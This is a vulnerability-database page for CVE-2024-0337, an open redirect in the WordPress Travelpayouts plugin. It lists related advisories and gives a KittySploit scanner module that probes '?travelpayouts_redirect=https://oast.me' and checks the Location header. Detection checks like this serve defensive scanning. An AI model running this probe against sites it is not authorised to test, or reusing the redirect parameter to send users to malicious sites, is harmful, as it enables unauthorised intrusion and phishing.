Travelpayouts <= 1.1.16 - Open Redirect Detection
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2024-0337 | 13 Apr 202402:22 | – | circl | |
| WordPress Plugin Travelpayouts Security Vulnerability | 20 Mar 202400:00 | – | cnnvd | |
| CVE-2024-0337 | 20 Mar 202405:00 | – | cve | |
| CVE-2024-0337 Travelpayouts <= 1.1.15 - Open Redirect | 20 Mar 202405:00 | – | cvelist | |
| Travelpayouts <= 1.1.16 - Open Redirect | 14 Oct 202602:05 | – | nuclei | |
| CVE-2024-0337 | 20 Mar 202405:15 | – | nvd | |
| CVE-2024-0337 | 20 Mar 202405:15 | – | osv | |
| WordPress Travelpayouts Plugin <= 1.1.16 is vulnerable to Open Redirection | 21 Mar 202400:00 | – | patchstack | |
| PT-2024-15475 · WordPress · Travelpayouts: All Travel Brands In One Place | 19 Mar 202400:00 | – | ptsecurity | |
| CVE-2024-0337: URL Redirection to Untrusted Site | 20 Mar 202400:00 | – | rapid7 |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The plugin is vulnerable to Open Redirect due to insufficient validation on the travelpayouts_redirect variabl."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Travelpayouts <= 1.1.16 - Open Redirect Detection',
'description': 'The plugin is vulnerable to Open Redirect due to insufficient validation on the travelpayouts_redirect variable. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'wpscan', 'cve2024', 'wp', 'wp-plugin', 'wordpress', 'redirect', 'travelpayouts', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://wpscan.com/vulnerability/2f17a274-8676-4f4e-989f-436030527890/',
'https://nvd.nist.gov/vuln/detail/CVE-2024-0337',
],
'cve': 'CVE-2024-0337',
}
def run(self):
r = self.http_request(method="GET", path='/?travelpayouts_redirect=https://oast.me', allow_redirects=True)
if not r or r.status_code != 200:
return False
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
header_regexes = ('(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.me.*$',)
if (any(re.search(rx, headers, 0) for rx in header_regexes)):
self.set_info(
severity='medium',
reason="Travelpayouts <= 1.1.16 - Open Redirect detected",
path='/?travelpayouts_redirect=https://oast.me',
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.16.1
EPSS0.00891
SSVC